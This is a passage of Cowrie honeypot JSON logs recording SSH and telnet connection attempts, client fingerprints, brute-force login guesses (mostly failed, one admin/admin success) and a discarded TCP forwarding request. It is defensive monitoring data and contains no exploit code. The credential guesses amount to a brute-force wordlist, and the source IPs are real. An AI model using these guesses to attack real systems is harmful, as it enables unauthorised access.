s128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:27.782675Z","src_ip":"2.57.121.25","session":"9ab616cadbcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14031993","message":"login attempt [user/14031993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:28.271206Z","src_ip":"2.57.121.25","session":"9ab616cadbcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44930,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f988310ba61","protocol":"telnet","message":"New connection: 69.4.83.194:44930 (159.203.135.109:23) [session: 2f988310ba61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:28.876298Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":33842,"dst_ip":"159.203.135.109","dst_port":22,"session":"35d5f80e05ee","protocol":"ssh","message":"New connection: 37.233.85.71:33842 (159.203.135.109:22) [session: 35d5f80e05ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:29.227556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:29.232960Z","src_ip":"37.233.85.71","session":"35d5f80e05ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:29.333362Z","src_ip":"37.233.85.71","session":"35d5f80e05ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14031979","message":"login attempt [user/14031979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:29.378196Z","src_ip":"2.57.121.25","session":"9ab616cadbcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44342,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f4f2e51c835","protocol":"telnet","message":"New connection: 69.4.83.194:44342 (159.203.135.109:23) [session: 0f4f2e51c835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:29.386038Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:29.636227Z","src_ip":"37.233.85.71","session":"35d5f80e05ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14021994","message":"login attempt [user/14021994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:30.488118Z","src_ip":"2.57.121.25","session":"9ab616cadbcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:30.739877Z","src_ip":"37.233.85.71","session":"35d5f80e05ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.17402195930481,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:31.154496Z","src_ip":"69.4.83.194","session":"62897ae2f2b9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"14011995","message":"login attempt [user/14011995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:31.595243Z","src_ip":"2.57.121.25","session":"9ab616cadbcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14011981","message":"login attempt [user/14011981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:32.702734Z","src_ip":"2.57.121.25","session":"9ab616cadbcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00155568122864,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:33.579980Z","src_ip":"190.82.206.126","session":"c3578ed075a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:33.809341Z","src_ip":"2.57.121.25","session":"9ab616cadbcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.20154595375061,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:35.648724Z","src_ip":"69.4.83.194","session":"76a9ea9c628d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":48170,"dst_ip":"159.203.135.109","dst_port":23,"session":"61f95bfff685","protocol":"telnet","message":"New connection: 69.4.83.194:48170 (159.203.135.109:23) [session: 61f95bfff685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:35.948625Z"}
{"eventid":"cowrie.session.closed","duration":120.00182127952576,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:36.548951Z","src_ip":"190.82.206.126","session":"94af84406aa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":54340,"dst_ip":"159.203.135.109","dst_port":23,"session":"181cc6cc1668","protocol":"telnet","message":"New connection: 165.22.57.101:54340 (159.203.135.109:23) [session: 181cc6cc1668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:37.706689Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":48356,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b66766dc30b","protocol":"ssh","message":"New connection: 103.237.144.204:48356 (159.203.135.109:22) [session: 1b66766dc30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:37.726217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:37.733418Z","src_ip":"103.237.144.204","session":"1b66766dc30b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.97.82","src_port":57680,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b75caa3efe9","protocol":"ssh","message":"New connection: 43.245.97.82:57680 (159.203.135.109:22) [session: 2b75caa3efe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:37.774707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:37.782341Z","src_ip":"43.245.97.82","session":"2b75caa3efe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:37.992456Z","src_ip":"103.237.144.204","session":"1b66766dc30b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:38.031846Z","src_ip":"43.245.97.82","session":"2b75caa3efe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@root1234","message":"login attempt [root/@root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:39.049320Z","src_ip":"43.245.97.82","session":"2b75caa3efe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Password","message":"login attempt [root/123Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:39.055767Z","src_ip":"103.237.144.204","session":"1b66766dc30b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.82.206.126","src_port":35685,"dst_ip":"10.17.0.5","dst_port":23,"session":"35a383db0fb6","protocol":"telnet","message":"New connection: 190.82.206.126:35685 (10.17.0.5:23) [session: 35a383db0fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:39.977008Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:40.299403Z","src_ip":"43.245.97.82","session":"2b75caa3efe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:40.316551Z","src_ip":"103.237.144.204","session":"1b66766dc30b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.61042308807373,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:45:44.473889Z","src_ip":"178.128.93.180","session":"a5627c3eb05d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70036745071411,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:00.576517Z","src_ip":"69.4.83.194","session":"2f988310ba61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58928,"dst_ip":"159.203.135.109","dst_port":23,"session":"f543293847fd","protocol":"telnet","message":"New connection: 69.4.83.194:58928 (159.203.135.109:23) [session: f543293847fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:03.218935Z"}
{"eventid":"cowrie.session.closed","duration":34.44390869140625,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:03.829855Z","src_ip":"69.4.83.194","session":"0f4f2e51c835","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.62364888191223,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:09.572193Z","src_ip":"69.4.83.194","session":"61f95bfff685","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34620,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7eb8dc25191","protocol":"telnet","message":"New connection: 69.4.83.194:34620 (159.203.135.109:23) [session: c7eb8dc25191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:13.791075Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59866,"dst_ip":"10.17.0.5","dst_port":22,"session":"54e68d86dcd8","protocol":"ssh","message":"New connection: 87.251.64.176:59866 (10.17.0.5:22) [session: 54e68d86dcd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:27.733558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:27.738037Z","src_ip":"87.251.64.176","session":"54e68d86dcd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:27.835470Z","src_ip":"87.251.64.176","session":"54e68d86dcd8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:28.121275Z","src_ip":"87.251.64.176","session":"54e68d86dcd8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:28.217851Z","session":"54e68d86dcd8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:28.313727Z","src_ip":"87.251.64.176","session":"54e68d86dcd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:28.411579Z","src_ip":"87.251.64.176","session":"54e68d86dcd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.93764662742615,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:28.644201Z","src_ip":"165.22.57.101","session":"181cc6cc1668","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40950,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b00e5d36663","protocol":"telnet","message":"New connection: 69.4.83.194:40950 (159.203.135.109:23) [session: 4b00e5d36663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:29.750455Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":60108,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f3b7a919822","protocol":"ssh","message":"New connection: 185.40.30.168:60108 (159.203.135.109:22) [session: 6f3b7a919822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:31.895935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:31.900906Z","src_ip":"185.40.30.168","session":"6f3b7a919822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:32.029573Z","src_ip":"185.40.30.168","session":"6f3b7a919822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@112233","message":"login attempt [root/Aa@112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:32.576315Z","src_ip":"185.40.30.168","session":"6f3b7a919822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":47212,"dst_ip":"10.17.0.5","dst_port":22,"session":"1055ead4e627","protocol":"ssh","message":"New connection: 87.251.79.125:47212 (10.17.0.5:22) [session: 1055ead4e627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:32.623842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:32.628380Z","src_ip":"87.251.79.125","session":"1055ead4e627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 